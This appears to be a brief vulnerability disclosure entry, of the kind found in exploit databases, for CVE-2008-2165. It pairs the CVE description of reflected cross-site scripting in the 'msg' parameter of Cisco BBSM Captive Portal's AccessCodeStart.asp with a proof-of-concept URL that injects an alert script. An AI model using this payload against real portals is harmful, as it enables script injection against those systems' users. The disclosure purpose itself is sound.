Crossite scripting with
http://host/ekgnkm/AccessCodeStart.asp?msg=%3Cscript%3Ealert(%22XSS%22);%3C/script%3E
CVE:
CVE-2008-2165 (Cross-site scripting (XSS) vulnerability in AccessCodeStart.asp in Cisco Building Broadband Service Manager (BBSM) Captive Portal 5.3 allows remote attackers to inject arbitrary web script or HTML via the msg parameter.)